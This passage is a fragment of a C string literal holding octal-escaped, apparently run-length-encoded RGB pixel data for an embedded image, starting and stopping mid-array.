- "n\333\362\223\25\274\344\1,\311\352\222\376\377\374\1n\333\362\232\25" \
- "\274\344\2%\305\347\336\367\374\214\376\377\374\2\236\347\366\0\276\345" \
- "\205\25\274\344\1B\314\347\211\376\377\374\1\257\267\277\223]oz\1\317" \
- "\324\327\256\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\256\376\377\374\1\326\333\335\223]oz\1\253\263\273" \
- "\211\376\377\374\1B\314\347\223\25\274\344\1\211\342\365\221\376\377" \
- "\374\1n\333\362\232\25\274\344\2%\305\347\336\367\374\214\376\377\374" \
- "\2\236\347\366\0\276\345\206\25\274\344\1\0\302\351\211\376\377\374\1" \
- "\307\315\317\223]oz\1\276\303\305\256\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\256\376\377\374\1\306\314" \
- "\316\223]oz\1\305\312\315\211\376\377\374\1#\304\346\223\25\274\344\1" \
- "\337\370\375\220\376\377\374\1w\333\356\232\25\274\344\2%\305\347\336" \
- "\367\374\214\376\377\374\2\236\347\366\0\276\345\210\25\274\344\1\356" \
- "\373\374\210\376\377\374\1\337\344\346\223]oz\1\253\263\273\256\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\256\376\377\374\1\274\301\303\223]oz\1\333\340\343\210\376\377\374\2" \
- "\367\375\377\0\276\345\222\25\274\344\1(\307\350\220\376\377\374\1\231" \
- "\342\362\232\25\274\344\2%\305\347\336\367\374\214\376\377\374\2\236" \
- "\347\366\0\276\345\211\25\274\344\1\302\357\367\210\376\377\374\2\364" \
- "\371\374^p{\222]oz\1\236\246\256\256\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\256\376\377\374\1\257\267" \
- "\277\223]oz\1\353\360\363\210\376\377\374\1\316\363\374\223\25\274\344" \
- "\1\\\326\355\217\376\377\374\2\320\365\376\31\275\345\231\25\274\344" \
- "\2%\305\347\336\367\374\214\376\377\374\2\236\347\366\0\276\345\212\25" \
- "\274\344\1\237\350\367\211\376\377\374\1gy\204\222]oz\1\216\236\244\256" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\256\376\377\374\1\242\252\262\223]oz\1\366\370\364\210\376\377" \
- "\374\1\262\355\370\223\25\274\344\1\220\343\361\217\376\377\374\1J\321" \
- "\355\231\25\274\344\2%\305\347\336\367\374\214\376\377\374\2\236\347" \
- "\366\0\276\345\213\25\274\344\1\211\342\365\211\376\377\374\1m\200\213" \
- "\222]oz\1\204\223\231\256\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\256\376\377\374\1\226\246\254\223]o" \
- "z\211\376\377\374\1\237\350\367\223\25\274\344\1\262\355\370\216\376" \
- "\377\374\2\350\371\377\0\276\345\230\25\274\344\2%\305\347\336\367\374" \
- "\214\376\377\374\2\236\347\366\0\276\345\214\25\274\344\1n\333\362\211" \
- "\376\377\374\1u\210\224\222]oz\1y\214\230\256\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\256\376\377\374" \
- "\1\231\241\251\222]oz\1cu\200\211\376\377\374\1\233\345\364\223\25\274" \
- "\344\1\316\363\374\216\376\377\374\1\235\346\365\230\25\274\344\2%\305" \
- "\347\336\367\374\214\376\377\374\2\236\347\366\0\276\345\215\25\274\344" \
- "\1k\327\357\211\376\377\374\1\200\217\225\222]oz\1u\210\224\256\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\256\376\377\374\1\222\241\247\222]oz\1j}\210\211\376\377\374\1\220\343" \
- "\361\223\25\274\344\1\336\367\374\216\376\377\374\1w\333\356\227\25\274" \
- "\344\2#\304\346\336\367\374\214\376\377\374\2\236\347\366\0\276\345\216" \
- "\25\274\344\1M\323\357\211\376\377\374\1\210\227\235\222]oz\1s\206\221" \
- "\256\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\256\376\377\374\1\211\230\236\222]oz\1n\201\214\211\376" \
- "\377\374\1\206\340\363\223\25\274\344\1\350\371\377\216\376\377\374\1" \
- "i\326\356\226\25\274\344\2#\304\346\336\367\374\214\376\377\374\2\236" \
- "\347\366\0\276\345\217\25\274\344\1M\323\357\211\376\377\374\1\215\234" \
- "\243\222]oz\1m\200\213\256\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\256\376\377\374\1\222\241\247\222]o" \
- "z\1l\177\212\211\376\377\374\1\207\341\364\223\25\274\344\1\336\367\374" \
- "\216\376\377\374\1n\333\362\225\25\274\344\2#\304\346\336\367\374\214" \
- "\376\377\374\2\235\346\365\0\276\345\220\25\274\344\1M\323\357\211\376" \
- "\377\374\1\211\230\236\222]oz\1s\206\221\256\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\256\376\377\374" \
- "\1\231\241\251\222]oz\1ew\202\211\376\377\374\1\231\342\362\223\25\274" \
- "\344\1\320\365\376\216\376\377\374\1\221\344\362\224\25\274\344\2#\304" \
- "\346\336\367\374\214\376\377\374\2\235\346\365\0\276\345\221\25\274\344" \
- "\1i\326\356\211\376\377\374\1\202\221\227\222]oz\1u\210\224\256\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\256\376\377\374\1\242\252\262\222]oz\1^p{\211\376\377\374\1\237\350" \
- "\367\223\25\274\344\1\301\356\366\216\376\377\374\1\333\364\371\223\25" \
- "\274\344\2#\304\346\336\367\374\214\376\377\374\2\356\373\374\0\276\345" \
- "\222\25\274\344\1n\333\362\211\376\377\374\1w\212\226\222]oz\1\202\221" \
- "\227\256\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\256\376\377\374\1\246\256\266\223]oz\1\370\372\367\210" \
- "\376\377\374\1\260\353\366\223\25\274\344\1\233\345\364\217\376\377\374" \
- "\1,\311\352\221\25\274\344\2#\304\346\336\367\374\215\376\377\374\1\312" \
- "\357\370\223\25\274\344\1\204\335\361\211\376\377\374\1o\202\215\222" \
- "]oz\1\205\224\232\256\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\256\376\377\374\1\252\262\272\223]oz\1\355" \
- "\362\365\210\376\377\374\1\314\361\372\223\25\274\344\1m\332\361\217" \
- "\376\377\374\1\273\354\371\220\25\274\344\2#\304\346\336\367\374\216" \
- "\376\377\374\1\233\345\364\223\25\274\344\1\236\347\366\211\376\377\374" \
- "\1i{\206\222]oz\1\211\230\236\256\376\377\374\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\223\377\377\377\256\376\377\374\1\266\277\307" \
- "\223]oz\1\340\345\350\210\376\377\374\1\356\373\374\223\25\274\344\1" \
- ",\311\352\220\376\377\374\1i\326\356\216\25\274\344\2#\304\346\336\367" \
- "\374\217\376\377\374\1\\\326\355\223\25\274\344\1\274\355\373\210\376" \
- "\377\374\2\372\374\371_q|\222]oz\1\226\246\254\256\376\377\374\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\223\377\377\377\256\376\377" \
- "\374\1\307\315\317\223]oz\1\313\320\322\211\376\377\374\1\0\302\351\222" \
- "\25\274\344\2\0\276\345\357\374\375\217\376\377\374\2\370\376\377G\317" \
- "\353\214\25\274\344\2(\307\350\336\367\374\220\376\377\374\1%\305\347" \
- "\223\25\274\344\1\336\367\374\210\376\377\374\1\343\350\353\223]oz\1" \
- "\254\264\274\256\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\256\376\377\374\1\327\334\337\223]oz\1\257\267" \
- "\277\211\376\377\374\1B\314\347\223\25\274\344\1\237\350\367\220\376" \
- "\377\374\3\370\376\377n\333\362\31\275\345\211\25\274\344\2J\321\355" \
- "\356\373\374\220\376\377\374\1\315\362\373\223\25\274\344\1\0\301\350" \
- "\211\376\377\374\1\316\323\326\223]oz\1\276\303\305\256\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\256\376" \
- "\377\374\1\346\354\356\223]oz\1\225\245\253\211\376\377\374\1k\327\357" \
- "\223\25\274\344\1G\317\353\222\376\377\374\3\320\365\376Z\325\354\0\301" \
- "\350\204\25\274\344\3\0\276\345G\317\353\274\355\373\222\376\377\374" \
- "\1w\333\356\223\25\274\344\1""3\314\355\211\376\377\374\1\264\274\305" \
- "\223]oz\1\315\322\325\256\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\256\376\377\374\1\366\373\376\223]o" \
- "z\1z\215\231\211\376\377\374\1\237\350\367\223\25\274\344\2\31\275\345" \
- "\335\366\373\223\376\377\374\2\370\376\377\316\363\374\202\261\354\367" \
- "\2\313\360\371\366\373\376\223\376\377\374\2\370\376\377\0\302\351\223" \
- "\25\274\344\1n\333\362\211\376\377\374\1\230\250\256\223]oz\1\334\342" \
- "\344\256\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\257\376\377\374\1m\200\213\222]oz\1ew\202\211\376\377" \
- "\374\1\347\370\376\224\25\274\344\1m\332\361\254\376\377\374\1\233\345" \
- "\364\224\25\274\344\1\261\354\367\211\376\377\374\1}\220\233\223]oz\1" \
- "\366\370\364\256\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\257\376\377\374\1\211\230\236\223]oz\1\335\343" \
- "\345\211\376\377\374\1%\305\347\223\25\274\344\2\0\276\345\336\367\374" \
- "\252\376\377\374\2\367\375\377#\304\346\223\25\274\344\2\31\275\345\357" \
- "\374\375\210\376\377\374\2\370\372\367as~\222]oz\1m\200\213\257\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\257\376\377\374\1\251\261\271\223]oz\1\264\274\305\211\376\377\374\1" \
- "k\327\357\224\25\274\344\1L\322\356\252\376\377\374\1\206\340\363\224" \
- "\25\274\344\1""3\314\355\211\376\377\374\1\322\330\332\223]oz\1\211\230" \
- "\236\257\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\257\376\377\374\1\305\312\315\223]oz\1\211\230\236\211" \
- "\376\377\374\1\301\356\366\225\25\274\344\1\262\355\370\250\376\377\374" \
- "\2\334\365\372\0\276\345\224\25\274\344\1\220\343\361\211\376\377\374" \
- "\1\252\262\272\223]oz\1\251\261\271\257\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\257\376\377\374\1\337\344" \
- "\346\223]oz\2ew\202\373\375\372\210\376\377\374\2\370\376\377#\304\346" \
- "\224\25\274\344\2\0\302\351\347\370\376\246\376\377\374\2\367\375\377" \
- ",\311\352\224\25\274\344\2\0\276\345\337\370\375\211\376\377\374\1\177" \
- "\216\224\223]oz\1\305\312\315\257\376\377\374\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\223\377\377\377\257\376\377\374\2\373\375\372" \
- "dv\201\223]oz\1\331\336\341\211\376\377\374\1n\333\362\225\25\274\344" \
- "\2B\314\347\370\376\377\245\376\377\374\1i\326\356\225\25\274\344\1B" \
- "\314\347\211\376\377\374\2\362\367\371_q|\223]oz\1\346\354\356\257\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\260\376\377\374\1\210\227\235\223]oz\1\246\256\266\211\376\377\374" \
- "\1\316\363\374\226\25\274\344\2M\323\357\370\376\377\243\376\377\374" \
- "\1\206\340\363\226\25\274\344\1\256\350\364\211\376\377\374\1\301\306" \
- "\311\223]oz\1k~\211\260\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\260\376\377\374\1\257\267\277\223]oz\2i" \
- "{\206\373\375\372\211\376\377\374\1G\317\353\226\25\274\344\2\\\326\355" \
- "\370\376\377\241\376\377\374\1\220\343\361\226\25\274\344\2\0\304\352" \
- "\370\376\377\211\376\377\374\1\204\223\231\223]oz\1\230\240\250\260\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\260\376\377\374\1\331\336\341\224]oz\1\317\324\327\211\376\377\374" \
- "\1\301\356\366\227\25\274\344\2J\321\355\367\375\377\237\376\377\374" \
- "\1w\333\356\227\25\274\344\1\206\340\363\211\376\377\374\2\351\356\360" \
- "^p{\223]oz\1\277\304\306\260\376\377\374\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\223\377\377\377\260\376\377\374\2\372\374\371cu" \
- "\200\223]oz\1\222\241\247\212\376\377\374\1/\312\353\227\25\274\344\2" \
- ",\311\352\334\365\372\234\376\377\374\2\356\373\374I\320\354\227\25\274" \
- "\344\2\0\301\350\366\373\376\211\376\377\374\1\261\271\302\224]oz\1\343" \
- "\350\353\260\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\261\376\377\374\1\216\236\244\223]oz\2cu\200\362" \
- "\367\371\211\376\377\374\1\261\354\367\230\25\274\344\3\0\276\345\233" \
- "\345\364\370\376\377\231\376\377\374\2\262\355\370\0\304\352\230\25\274" \
- "\344\1\206\340\363\212\376\377\374\1s\206\221\223]oz\1q\204\217\261\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\261\376\377\374\1\305\312\315\224]oz\1\257\267\277\212\376\377\374" \
- "\1B\314\347\231\25\274\344\2""1\313\354\303\361\370\226\376\377\374\2" \
- "\334\365\372J\321\355\231\25\274\344\2#\304\346\366\373\376\211\376\377" \
- "\374\1\315\322\325\224]oz\1\251\261\271\261\376\377\374\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\223\377\377\377\261\376\377\374\2\362" \
- "\367\371as~\223]oz\2hz\205\370\372\367\211\376\377\374\2\334\365\372" \
- "\0\276\345\232\25\274\344\3B\314\347\262\355\370\370\376\377\221\376" \
- "\377\374\3\313\360\371L\322\356\0\276\345\232\25\274\344\1\256\350\364" \
- "\212\376\377\374\1z\215\231\224]oz\1\333\340\343\261\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\262\376" \
- "\377\374\1\207\226\234\224]oz\1\270\300\311\212\376\377\374\1w\333\356" \
- "\234\25\274\344\4\0\304\352m\332\361\273\354\371\366\373\376\212\376" \
- "\377\374\4\370\376\377\302\357\367y\336\360(\307\350\234\25\274\344\1" \
- "B\314\347\212\376\377\374\1\324\331\333\224]oz\1k~\211\262\376\377\374" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\262" \
- "\376\377\374\1\301\306\311\224]oz\2k~\211\372\374\371\211\376\377\374" \
- "\2\366\373\376(\307\350\236\25\274\344\5\31\275\345,\311\352M\323\357" \
- "y\336\360\211\342\365\202\233\345\364\5\220\343\361\204\335\361Z\325" \
- "\3541\313\354\0\276\345\236\25\274\344\2\0\301\350\336\367\374\212\376" \
- "\377\374\1\205\224\232\224]oz\1\246\256\266\262\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\262\376\377\374" \
- "\2\367\371\366dv\201\224]oz\1\274\301\303\212\376\377\374\2\315\362\373" \
- "\0\276\345\307\25\274\344\1\236\347\366\212\376\377\374\1\325\332\334" \
- "\225]oz\1\341\346\351\262\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\263\376\377\374\1\236\246\256\224]o" \
- "z\2fx\203\356\363\366\212\376\377\374\1\221\344\362\306\25\274\344\1" \
- "M\323\357\212\376\377\374\2\372\374\371t\207\222\224]oz\1\177\216\224" \
- "\263\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\263\376\377\374\1\333\340\343\225]oz\1\226\246\254\213\376" \
- "\377\374\1L\322\356\304\25\274\344\2,\311\352\366\373\376\212\376\377" \
- "\374\1\265\276\306\225]oz\1\302\307\312\263\376\377\374\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\223\377\377\377\264\376\377\374\1u\210" \
- "\224\224]oz\2^p{\331\336\341\212\376\377\374\2\366\373\376/\312\353\302" \
- "\25\274\344\2\0\302\351\336\367\374\212\376\377\374\2\353\360\363dv\201" \
- "\224]oz\2dv\201\364\371\374\263\376\377\374\377\377\377\377\377\377\377" \
- "\377\377\377\377\377\223\377\377\377\264\376\377\374\1\302\307\312\225" \
- "]oz\2w\212\226\372\374\371\212\376\377\374\2\350\371\377%\305\347\300" \
- "\25\274\344\2\0\301\350\314\361\372\213\376\377\374\1\227\237\247\225" \
- "]oz\1\246\256\266\264\376\377\374\377\377\377\377\377\377\377\377\377" \
- "\377\377\377\223\377\377\377\264\376\377\374\2\372\374\371l\177\212\225" \
- "]oz\1\252\262\272\213\376\377\374\2\337\370\375\0\304\352\276\25\274" \
- "\344\2\0\276\345\274\355\373\213\376\377\374\1\305\312\315\225]oz\2a" \
- "s~\353\360\363\264\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\265\376\377\374\1\270\300\311\225]oz\2^p{\322" \
- "\330\332\213\376\377\374\2\332\363\370#\304\346\274\25\274\344\2\0\276" \
- "\345\273\354\371\213\376\377\374\2\343\350\353dv\201\225]oz\1\236\246" \
- "\256\265\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\265\376\377\374\2\365\372\375hz\205\225]oz\2i{\206\354" \
- "\361\364\213\376\377\374\2\337\370\375*\310\351\272\25\274\344\2\0\302" \
- "\351\314\361\372\213\376\377\374\2\371\373\370x\213\227\225]oz\2_q|\346" \
- "\354\356\265\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\266\376\377\374\1\261\271\302\226]oz\2\205\224\232" \
- "\373\375\372\213\376\377\374\2\356\373\374B\314\347\270\25\274\344\2" \
- "%\305\347\335\366\373\214\376\377\374\1\242\252\262\226]oz\1\231\241" \
- "\251\266\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\266\376\377\374\2\370\372\367m\200\213\226]oz\1\242" \
- "\252\262\214\376\377\374\2\367\375\377i\326\356\266\25\274\344\2B\314" \
- "\347\350\371\377\214\376\377\374\1\277\304\306\226]oz\2bt\177\351\356" \
- "\360\266\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\267\376\377\374\1\305\312\315\227]oz\1\261\271\302\215" \
- "\376\377\374\2\250\347\371\0\301\350\262\25\274\344\3\31\275\345\206" \
- "\340\363\370\376\377\214\376\377\374\2\316\323\326_q|\226]oz\1\251\261" \
- "\271\267\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\270\376\377\374\1y\214\230\226]oz\2^p{\301\306\311\215" \
- "\376\377\374\2\335\366\373/\312\353\260\25\274\344\2#\304\346\312\357" \
- "\370\215\376\377\374\2\330\335\340cu\200\226]oz\2hz\205\366\370\364\267" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\270\376\377\374\1\332\337\342\230\222\241\247\1\353\360\363" \
- "\215\376\377\374\3\370\376\377\231\342\362\0\301\350\254\25\274\344\3" \
- "\0\276\345w\333\356\366\373\376\215\376\377\374\2\365\372\375\236\246" \
- "\256\227\222\241\247\1\307\315\317\270\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\341\376\377\374\3\356\373" \
- "\374i\326\356\0\276\345\251\25\274\344\2J\321\355\335\366\373\341\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\343\376\377\374\3\316\363\374Z\325\354\31\275\345\245\25\274\344" \
- "\2G\317\353\302\357\367\343\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\345\376\377\374\3\336\367\374m\332\361" \
- "\0\276\345\240\25\274\344\3\31\275\345M\323\357\316\363\374\345\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\347\376\377\374\4\366\373\376\237\350\367I\320\354\31\275\345\232\25" \
- "\274\344\4\0\276\345B\314\347\231\342\362\356\373\374\347\376\377\374" \
- "\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\352" \
- "\376\377\374\4\356\373\374\235\346\365Z\325\354#\304\346\224\25\274\344" \
- "\4\0\302\351L\322\356\221\344\362\336\367\374\352\376\377\374\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\223\377\377\377\356\376\377" \
- "\374\6\336\367\374\237\350\367w\333\356M\323\357,\311\352\0\276\345\210" \
- "\25\274\344\6\0\276\345*\310\351J\321\355n\333\362\233\345\364\320\365" \
- "\376\356\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\364\376\377\374\10\367\375\377\356\373\374\335\366\373" \
- "\316\363\374\315\362\373\335\366\373\350\371\377\366\373\376\364\376" \
- "\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377" \
- "\377\377\376\377\374\361\376\377\374\377\377\377\377\377\377\377\377" \
- "\377\377\377\377\223\377\377\377\377\376\377\374\361\376\377\374\377" \
- "\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377\377\376" \
- "\377\374\361\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\377\376\377\374\361\376\377\374\377\377\377\377" \
- "\377\377\377\377\377\377\377\377\223\377\377\377\375\376\377\374\202" \
- "\370\376\377\250\376\377\374\1\367\375\377\217\376\377\374\1\367\375" \
- "\377\237\376\377\374\1\367\375\377\230\376\377\374\377\377\377\377\377" \
- "\377\377\377\377\377\377\377\223\377\377\377\374\376\377\374\4\237\350" \
- "\367\0\276\345\31\275\345\203\334\360\245\376\377\374\5\316\363\374#" \
- "\304\346\25\274\344G\317\353\367\375\377\213\376\377\374\5\335\366\373" \
- "(\307\350\25\274\344B\314\347\366\373\376\233\376\377\374\5\356\373\374" \
- "/\312\353\25\274\344*\310\351\337\370\375\226\376\377\374\377\377\377" \
- "\377\377\377\377\377\377\377\377\377\223\377\377\377\374\376\377\374" \
- "\1#\304\346\203\25\274\344\1\357\374\375\244\376\377\374\1i\326\356\203" \
- "\25\274\344\1\260\353\366\213\376\377\374\1n\333\362\203\25\274\344\1" \
- "\235\346\365\233\376\377\374\1\231\342\362\203\25\274\344\1y\336\360" \
- "\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\374\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374" \
- "\244\376\377\374\1I\320\354\203\25\274\344\1\231\342\362\213\376\377" \
- "\374\1M\323\357\203\25\274\344\1\206\340\363\233\376\377\374\1\206\340" \
- "\363\203\25\274\344\1k\327\357\226\376\377\374\377\377\377\377\377\377" \
- "\377\377\377\377\377\377\223\377\377\377\374\376\377\374\1\0\301\350" \
- "\203\25\274\344\1\336\367\374\244\376\377\374\1I\320\354\203\25\274\344" \
- "\1\231\342\362\213\376\377\374\1M\323\357\203\25\274\344\1\206\340\363" \
- "\233\376\377\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377" \
- "\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377\377\377" \
- "\374\376\377\374\1\0\301\350\203\25\274\344\1\336\367\374\244\376\377" \
- "\374\1I\320\354\203\25\274\344\1\231\342\362\213\376\377\374\1M\323\357" \
- "\203\25\274\344\1\206\340\363\233\376\377\374\1\206\340\363\203\25\274" \
- "\344\1k\327\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377" \
- "\377\377\223\377\377\377\374\376\377\374\1\0\301\350\203\25\274\344\1" \
- "\336\367\374\244\376\377\374\1I\320\354\203\25\274\344\1\231\342\362" \
- "\213\376\377\374\1M\323\357\203\25\274\344\1\206\340\363\233\376\377" \
- "\374\1\206\340\363\203\25\274\344\1k\327\357\226\376\377\374\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\223\377\377\377\374\376\377" \
- "\374\1\0\301\350\203\25\274\344\1\336\367\374\244\376\377\374\1I\320" \
- "\354\203\25\274\344\1\231\342\362\213\376\377\374\1M\323\357\203\25\274" \
- "\344\1\206\340\363\233\376\377\374\1\206\340\363\203\25\274\344\1k\327" \
- "\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377" \
- "\223\377\377\377\232\376\377\374\7\311\316\321\211\230\236j}\210cu\200" \
- "n\201\214\233\243\253\333\340\343\206\376\377\374\2\236\246\256dv\201" \
- "\205]oz\4_q|k~\211\222\241\247\337\344\346\210\376\377\374\7\322\330" \
- "\332\222\241\247l\177\212cu\200k~\211\222\241\247\322\330\332\206\376" \
- "\377\374\2\257\267\277gy\204\205]oz\4^p{i{\206\211\230\236\325\332\334" \
- "\210\376\377\374\10\313\360\371\\\326\355%\305\347\0\276\345\0\302\351" \
- "G\317\353\237\350\367\370\376\377\205\376\377\374\2\235\346\365\0\304" \
- "\352\212\25\274\344\4\0\276\345\0\304\352M\323\357\315\362\373\205\376" \
- "\377\374\1\0\301\350\207\25\274\344\4\0\301\350B\314\347\233\345\364" \
- "\370\376\377\207\376\377\374\7\302\357\367M\323\357#\304\346\0\276\345" \
- "\0\304\352J\321\355\260\353\366\210\376\377\374\4\315\362\373M\323\357" \
- "#\304\346\31\275\345\207\25\274\344\1\231\342\362\204\376\377\374\4\323" \
- "\364\367\\\326\355%\305\347\0\276\345\207\25\274\344\1\206\340\363\205" \
- "\376\377\374\10\334\365\372m\332\361(\307\350\0\276\345\0\302\351B\314" \
- "\347\233\345\364\370\376\377\207\376\377\374\4\336\367\374m\332\361(" \
- "\307\350\0\276\345\207\25\274\344\1k\327\357\226\376\377\374\377\377" \
- "\377\377\377\377\377\377\377\377\377\377\223\377\377\377\230\376\377" \
- "\374\2\356\363\366\202\221\227\206]oz\3^p{\247\257\267\373\375\372\203" \
- "\376\377\374\1\327\334\337\212]oz\2_q|\303\310\313\205\376\377\374\2" \
- "\364\371\374\222\241\247\207]oz\2\222\241\247\370\372\367\203\376\377" \
- "\374\2\353\360\363^p{\212]oz\1\254\264\274\205\376\377\374\2\370\376" \
- "\377m\332\361\207\25\274\344\2B\314\347\350\371\377\203\376\377\374\2" \
- "\370\376\377\0\276\345\216\25\274\344\2\31\275\345\235\346\365\204\376" \
- "\377\374\1\0\301\350\212\25\274\344\2B\314\347\357\374\375\204\376\377" \
- "\374\2\367\375\377Z\325\354\207\25\274\344\2G\317\353\357\374\375\205" \
- "\376\377\374\2\235\346\365\31\275\345\212\25\274\344\1\231\342\362\203" \
- "\376\377\374\2\256\350\364\0\276\345\212\25\274\344\1\206\340\363\204" \
- "\376\377\374\2\206\340\363\31\275\345\206\25\274\344\2*\310\351\335\366" \
- "\373\205\376\377\374\2\302\357\367\0\301\350\212\25\274\344\1k\327\357" \
- "\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223" \
- "\377\377\377\227\376\377\374\2\364\371\374u\210\224\211]oz\1\242\252" \
- "\262\203\376\377\374\1\306\314\316\213]oz\2_q|\325\332\334\203\376\377" \
- "\374\2\373\375\372\210\227\235\211]oz\2\211\230\236\373\375\372\202\376" \
- "\377\374\1\330\335\340\214]oz\1\304\311\314\204\376\377\374\1i\326\356" \
- "\211\25\274\344\2*\310\351\366\373\376\202\376\377\374\1\357\374\375" \
- "\220\25\274\344\2\0\276\345\274\355\373\203\376\377\374\1\0\301\350\213" \
- "\25\274\344\1M\323\357\204\376\377\374\1L\322\356\211\25\274\344\2""3" \
- "\314\355\370\376\377\203\376\377\374\2\313\360\371\0\276\345\213\25\274" \
- "\344\1\231\342\362\202\376\377\374\2\333\364\371\0\276\345\213\25\274" \
- "\344\1\206\340\363\203\376\377\374\1\206\340\363\211\25\274\344\2\0\304" \
- "\352\347\370\376\203\376\377\374\2\356\373\374\0\304\352\213\25\274\344" \
- "\1k\327\357\226\376\377\374\377\377\377\377\377\377\377\377\377\377\377" \
- "\377\223\377\377\377\227\376\377\374\1\251\261\271\213]oz\1\322\330\332" \
- "\202\376\377\374\1\306\314\316\214]oz\1\200\217\225\203\376\377\374\1" \
- "\277\304\306\213]oz\1\277\304\306\202\376\377\374\1\330\335\340\214]" \
- "oz\2j}\210\373\375\372\202\376\377\374\1\273\354\371\213\25\274\344\1" \
- "n\333\362\202\376\377\374\1\357\374\375\221\25\274\344\1""1\313\354\203" \
- "\376\377\374\1\0\301\350\214\25\274\344\1\332\363\370\202\376\377\374" \
- "\1\237\350\367\213\25\274\344\1\206\340\363\203\376\377\374\1I\320\354" \
- "\214\25\274\344\1\231\342\362\202\376\377\374\1M\323\357\214\25\274\344" \
- "\1\206\340\363\202\376\377\374\2\320\365\376\31\275\345\212\25\274\344" \
- "\1L\322\356\203\376\377\374\1\203\334\360\214\25\274\344\1k\327\357\226" \
- "\376\377\374\377\377\377\377\377\377\377\377\377\377\377\377\223\377" \
- "\377\377\226\376\377\374\2\370\372\367cu\200\203]oz\5s\206\221\317\324" \
- "\327\343\350\353\276\303\305ew\202\203]oz\1\210\227\235\202\376\377\374" \
- "\1\306\314\316\203]oz\1y\214\230\203\347\355\357\2\346\354\356\264\274" \
- "\305\203]oz\2^p{\357\365\367\202\376\377\374\1p\203\216\203]oz\5k~\211" \
- "\307\315\317\343\350\353\306\314\316k~\211\203]oz\1p\203\216\202\376" \
- "\377\374\1\330\335\340\203]oz\1k~\211\204\347\355\357\2\304\311\314_" \
- "q|\203]oz\1\334\342\344\202\376\377\374\1B\314\347\203\25\274\344\5\0" \
- "\301\350\233\345\364\333\364\371\260\353\366(\307\350\203\25\274\344" \
- "\4\0\276\345\367\375\377\376\377\374\357\374\375\204\25\274\344\203\335" \
- "\366\373\204\25\274\344\3\302\357\367\335\366\373\206\340\363\204\25" \
